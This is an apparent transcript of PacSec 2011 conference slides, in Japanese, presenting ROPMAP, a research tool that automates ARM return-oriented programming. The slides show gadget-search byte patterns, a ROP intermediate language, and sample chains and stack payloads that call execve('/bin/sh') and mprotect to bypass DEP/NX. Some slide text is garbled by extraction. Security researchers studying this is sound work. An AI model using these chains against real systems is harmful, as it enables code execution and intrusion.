arm 攻略の ropmap long le – thanh nguyen {longld, thanh}@vnsecurity.net pacsec 2011
Post on 19-Dec-2015
220 views
TRANSCRIPT
ARM 攻略の ROPMAP
Long Le – Thanh Nguyen{longld, thanh}@vnsecurity.net
PacSec 2011
最初に自己紹介» VNSECURITY.NET
» CLGT CTF チーム
免責事項:ここで紹介する見解と研究は、 VNSECURITY の研究グループによるものであり、他のいかなる組織・企業の見解や研究を代表するものではありません
2ARM EXPLOITATION ROPMAP
きっかけ» 公開されている ARM ROP が無い
• objdump/otool + grep
» シェルコード・ペイロードはハードコードされている» 簡単なガジェットが複雑なオートメーションを打ち負かせ
る• comex’s jailbreakme
3ARM EXPLOITATION ROPMAP
本セッションの内容» X86 ROP ツールキットを ARM に拡張» ROP シェルコードのための中間言語» ARM 用の ROP 自動化の実装
• ガジェット・チェーンに対して ROP シェルコード
• ペイロードに対してガジェット・チェーン
4ARM EXPLOITATION ROPMAP
プレゼン終了後には・・・
ROPシェルコード•LOAD r0, #0xdeadbeef•LOAD r1, #0•LOAD r2, #0•LOAD r7, #0xb•SYSCALL
ガジェット・チェーン•ldr r0 [sp #12] ; add sp sp #20 ; pop {pc}
•pop {r1 r2 r3 r4 r5 pc}•pop {r2 r3 r7 pc}•pop {r2 r3 r7 pc}•svc 0x00000000 ; pop {r4 r7} ; bx lr
ペイロード•[ BASE+0xaa0, 0x4b4e554a, 0x4b4e554b, 0x4b4e554c, 0xdeadbeef, 0x4b4e554e ]
•[ BASE+0x10d4, 0x0, 0x4b4e554b, 0x4b4e554c, 0x4b4e554d, 0x4b4e554e ]
•…
5ARM EXPLOITATION ROPMAP
ROPツールキットを ARMに拡張
6ARM EXPLOITATION ROPMAP
X86から ARMへ:レジスタ
x86 ARM
eax, ebx, ecx, edx, esi, edi
r0, r1, r2, r3, r4, … r11, r12
esp sp (r13)
ebp fp (r11)
eip pc (r15)
N/A lr (r14)
7ARM EXPLOITATION ROPMAP
X86から ARMへ:アセンブリx86 ARM
pop eax pop {r0}
mov eax, ebx mov r0, r1
add eax, ebx add r0, r0, r1
add eax, 0x10 add r0, #16
mov eax, [ebx] ldr r0, [r1]
mov [eax+0x10], ebx str r1, [r0, #16]
call eax blx r0
jmp eax bx r0
call function bl function(return address in lr)
ret pop {pc} / bx lr
int 0x80 svc 0x80 / svc 0x0
8ARM EXPLOITATION ROPMAP
X86から ARMへ:シェルコード
x86 ARM
eax = sysnum r7/r12 = sysnum
ebx = arg1 r0 = arg1
ecx = arg2 r1 = arg2
edx = arg3 r2 = arg3
… …
int 0x80 svc 0x80 / svc 0x0
9ARM EXPLOITATION ROPMAP
X86から ARMへ: ROP ガジェット
x86 ARM
ret pop {…, pc}bx lr
pop edi; ebp; ret pop {r1, r2, pc}
call eax blx r0
jmp eax bx r0
Instruction alignment: No Instruction alignment:- 4 bytes (ARM)- 2 bytes (THUMB)
Unintended code Intended code (mostly)
10ARM EXPLOITATION ROPMAP
ガジェットの検出» 「 RET 」を検索
• pop {…, pc}
‒ “.\x80\xbd\xe8” (ARM)
‒ “.\xbd” (THUMB)
• bx Rm / blx Rm
‒ “.\xff\x2f\xe1” (ARM)
‒ “.\x47” (THUMB)
» 後ろ方向にディスアセンブル• 2 バイトから 4 バイトおきに
» 自身の ARM ディスアセンブリライブラリを使用してみる
11ARM EXPLOITATION ROPMAP
クイック・デモ
12ARM EXPLOITATION ROPMAP
ROPシェルコードのための中間言語
13ARM EXPLOITATION ROPMAP
ROPシェルコード» 一般的なペイロード
• ライブラリ・コールを連続実行• DEP/NX を無効化
• 通常のシェルコードを転送・実行
» 一般的なオペレーション• レジスタの割当• データの異動• 関数呼び出しか syscall を実行
14ARM EXPLOITATION ROPMAP
source: comex’s star_ framework
ROP中間言語» 簡単な疑似アセンブルコード» 6つの命令» ネイティブ・レジスタ» 読み出し・書き込み・実装が容易
15ARM EXPLOITATION ROPMAP
ROP IL
命令 LHS RHS
LHS/RHS タイプ• REG: レジスタ• VAL: 値• REF: レジスタの参照先• MEM: メモリの参照先• NON
ROP 命令• LOAD• STORE• ADJUST• CALL• SYSCALL• NOP
16ARM EXPLOITATION ROPMAP
ROP IL:ロード
文法 使用例LOAD Rm, #value LOAD r0, #0xcafebabe
LOAD Rm, Rn LOAD r0, r1
LOAD Rm, [Rn] LOAD r0, [r1]
LOAD Rm, [#address] LOAD r0, [#0xdeadbeef]
» レジスタに値をロード
17ARM EXPLOITATION ROPMAP
ROP IL:格納
文法 使用例STORE [Rm], Rn STORE [r0], r1
STORE [Rm], #value STORE [r0], #0xcafebabe
STORE [Rm], [Rn] STORE [r0], [r1]
STORE [#target], Rn STORE [#0xdeadbeef], r0
STORE [#target], [Rn] STORE [#0xdeadbeef], [r0]
STORE [#target], #value STORE [#0xdeadbeef], #0xcafebabe
STORE [#target], [#address] STORE [#0xdeadbeef], [#0xbeefc0de]
» レジスタに値を格納
18ARM EXPLOITATION ROPMAP
ROP IL:調整
文法 使用例ADJUST Rm, Rn ADJUST r0, r1
ADJUST Rm, #value ADJUST r0, #4
ADJUST Rm, [Rn] ADJUST r0, [r1]
ADJUST Rm, [#address] ADJUST r0, [#0xdeadbeef]
» レジスタの値に加減算を行う
19ARM EXPLOITATION ROPMAP
ROP IL:呼び出し
文法 使用例CALL Rm CALL r0
CALL [Rm] CALL [r0]
CALL #address CALL #0xdeadbeef
CALL [#address] CALL [#0xdeadbeef]
» 関数を呼び出す・関数にジャンプする
20ARM EXPLOITATION ROPMAP
ROP IL:システムコール
文法 使用例SYSCALL SYSCALL
» システムコール
21ARM EXPLOITATION ROPMAP
シェルコードのサンプル(1)» mprotect(writable, size, flag)
• LOAD r0, #writable
• LOAD r1, #size
• LOAD r2, #flag
• LOAD r7, #0x7d
• SYSCALL
» execve(“/bin/sh”, 0, 0): known “/bin/sh” address• LOAD r0, #binsh_address
• LOAD r1, #0
• LOAD r2, #0
• LOAD r7, #0xb
• SYSCALL
22ARM EXPLOITATION ROPMAP
シェルコードのサンプル(2)» execve(“/bin/sh”, 0, 0): use known writable data region to
store “/bin/sh”• STORE [#writable], #0x6e69622f ; “/bin”
• STORE [#writable+0x4], #0x68732f ; “/sh”
• LOAD r0, #writable
• LOAD r1, #0
• LOAD r2, #0
• LOAD r7, #0xb
• SYSCALL
23ARM EXPLOITATION ROPMAP
高級ラッパーの例(1)» syscall(sysnum, *args)
• LOAD r0, #arg1
• LOAD r1, #arg2
• LOAD r2, #arg3
• LOAD r3, #arg4
• LOAD r4, #arg5
• LOAD r5, #arg6
• LOAD r7, #sysnum
• SYSCALL
24ARM EXPLOITATION ROPMAP
高級ラッパーの例(2)» funcall(address, *args)
• LOAD r0, #arg1
• LOAD r1, #arg2
• LOAD r2, #arg3
• LOAD r3, #arg4
• $arg5
• …
• CALL #address
25ARM EXPLOITATION ROPMAP
高級ラッパーの例(3)» save_result(target)
• STORE [#target], r0
» write4_with_offset(reference, value, offset)• LOAD r0, [#reference]
• ADJUST r0, #offset
• STORE [r0], #value
26ARM EXPLOITATION ROPMAP
ROPMAPの実装
27ARM EXPLOITATION ROPMAP
ROPの自動化» 自動化は手間がかかる
• 命令の関数化• SMT/STP ソルバ
» 既存のツールキット• DEPLib
‒ ミニ ASM 言語‒ ARM はサポートしていない
• Roppery (WOLF)
‒ REIL
‒ 公になっていない
28ARM EXPLOITATION ROPMAP
ROPMAP
» ROPMAP• ROP 命令を ASM ガジェットに直接マッピング• LHS/RHS タイプは ASM ガジェットで使用可能• Primitive ガジェット
• CHAINMAP• ROP 命令を間接的に ROP チェインにマッピング• LHS/RHS タイプは ASM ガジェットで使用不能
» ガジェットを検索・連結するためのエンジン» ペイロードを生成
29ARM EXPLOITATION ROPMAP
ROPMAPサンプル:ロード
LOAD Rm, #value pop {Rm, …, pc}
mov Rm, #value
ldr Rm, [sp …]
LOAD Rm, Rn add Rm, Rn
mov Rm, Rn
sub Rm, Rn
LOAD Rm, [Rn] ldr Rm, [Rn …]
LOAD Rm, [#addr]LOAD Rn, #addrLOAD Rm, [Rn]
30ARM EXPLOITATION ROPMAP
ROPMAPサンプル:格納STORE [Rm], Rn str Rn, [Rm …]
STORE [Rm], #valueLOAD Rn, #valueSTORE [Rm], Rn
STORE [Rm], [#addr]LOAD Rn, [#addr]STORE [Rm], Rn
STORE [#target], RmLOAD Rn, [#target]STORE [Rn], Rm
STORE [#target], #value
LOAD Rm, #valueSTORE [#target], Rm
STORE [#target], [#addr]
LOAD Rn, [#addr]STORE [#target], Rn
31ARM EXPLOITATION ROPMAP
アセンブラ・円に Jん» 前提
• バイナリは十分な Primitive ガジェットを持っている• Primitive ガジェットを繋げる方が複雑なガジェットを見つけるよりも簡
単
» アプローチ• ガジェット候補を探す
‒ ガジェットをソートする(簡単なスコアリング)
• ペアマッチングでガジェットを連結‒ LHS 対 RHS
‒ LHS 対 LHS
• 基本的な検証ルールを適用‒ 値を突合‒ レジスタをチェック
32ARM EXPLOITATION ROPMAP
ペアを突合
STORE [#target], [#addr]
pop {r4 pc}
ldr r0 [r4 #4] ; pop {r4 r5 r6 r7 pc}
str r0 [r4 #16] ; mov r0 r3 ; pop {r1 r2 r3 r4 r5 pc}
pop {r4 pc}
MATCHED
MATCHED
MATCHED
33ARM EXPLOITATION ROPMAP
ガジェット検証
ldr r6 [r5 #4] ;sub r0 r0 r6 ;pop {r4 r5 r6 pc}
LOAD r6, [r5]TAIN
TED
ldr r1 [r5 #36] ;ldr r5 [r4 #36] ;sub r0 r1 r5 ; add sp sp #36 ; pop {r4 r5 r6 r7 pc}
STORE [r1], [r5]
TAINTED
34ARM EXPLOITATION ROPMAP
ROPシェルコードからガジェット・チェーンまで» execve(“/bin/sh”, 0, 0)# ROP code: load r0, #0xdeadbeef
--------------------------------------------------------------------0xdc68L : pop {r0 pc} ;;--------------------------------------------------------------------# ROP code: load r1, #0-------------------------------------------------------------------0x16a6dL : pop {r1 r7 pc} ;;--------------------------------------------------------------------# ROP code: load r2, #0--------------------------------------------------------------------0x30629L : pop {r2 r3 r6 pc} ;;--------------------------------------------------------------------# ROP code: load r7, #0xb--------------------------------------------------------------------0x16a6dL : pop {r1 r7 pc} ;;--------------------------------------------------------------------# ROP code: syscall--------------------------------------------------------------------0xc734L : svc 0x00000000 ; pop {r4 r7} ; bx lr ;;--------------------------------------------------------------------
35ARM EXPLOITATION ROPMAP
ペイロード生成(1)» 入力
• ROP IL 命令• ガジェット• 定数• 制約と値を結合
• 出力• スタック・レイアウト• 出力値は高級 ROP ラッパーに使用可能• サイズ最適化は行わない
36ARM EXPLOITATION ROPMAP
ペイロード生成(2)» アプローチ
• ガジェット・エミュレーション‒ スタック関連の操作をエミュレート
• スタック位置に必要な値を再書き込み‒ LHS/RHS リバース・マッチング‒ 簡単な数学的演算
• 次の命令へのバインディング値をフィードバック
37ARM EXPLOITATION ROPMAP
リバース・マッチング
LOAD r0, [#address]
pop {r4 pc}
ldr r0 [r4 #4] ; pop {r4 r5 r6 r7 pc}
MATCHED
(1)
MATCHED
(2)
r4 = #address - 4
r4 = #address - 4
38ARM EXPLOITATION ROPMAP
ガジェット・エミュレーション» 単一のガジェット» スタック関係のオペレーションのみ
39ARM EXPLOITATION ROPMAP
JUNK+4
JUNK+3
JUNK+2
JUNK+1
JUNKSP
uninitializedregisters
Init state Execute pop {r2 r3 r7 pc} ;;
SP = SP+3r7 = JUNK+2r3 = JUNK+1r2 = JUNK
JUNK+2
JUNK+1
JUNK
SP
r2 = 0x0r7 = 0xb
value constraints
スタックへの再書き込み» ペイロード=スタック上の値
40ARM EXPLOITATION ROPMAP
0xb
JUNK+1
0x0 SP
Payload
SP
pop {r2 r3 r7 pc} ;;
r2 = 0x0 r7 = 0xb
SP = SP+3r7 = JUNK+2r3 = JUNK+1r2 = JUNK
JUNK+2
JUNK+1
JUNK
Write back
アウトプット・ペイロード» execve(“/bin/sh”, 0, 0)
# ROP code: load r0, #0xdeadbeef # pop {r0 pc}[ BASE+0x2d38, 0xdeadbeef ]# ------------------------------------------------------------------# ROP code: load r1, #0# pop {r1 r7 pc}[ BASE+0xbb3d, 0x0, 0x4b4e554b ]# ------------------------------------------------------------------# ROP code: load r2, #0# pop {r2 r3 r6 pc}[ BASE+0x256f9, 0x0, 0x4b4e554b, 0x4b4e554c ]# ------------------------------------------------------------------# ROP code: load r7# pop {r1 r7 pc}[ BASE+0xbb3d, 0x0, 0xb ]# ------------------------------------------------------------------# ROP code: syscall# svc 0x00000000 ; pop {r4 r7} ; bx lr[ BASE+0x1804, 0x4b4e554a, 0xb ]# ------------------------------------------------------------------
41ARM EXPLOITATION ROPMAP
デモ
42ARM EXPLOITATION ROPMAP
今後の計画» アウトプット・ペイロードの最適化
• 重複の減少
» ARM Thumb-2 をサポート• より多くのガジェットが使用可能
» x86/x86_64 へ拡張(現在は一部のみ)» 条件付きのジャンプ・ループ命令
43ARM EXPLOITATION ROPMAP
ご清聴ありがとうございました。
ご質問をどうぞ
44ARM EXPLOITATION ROPMAP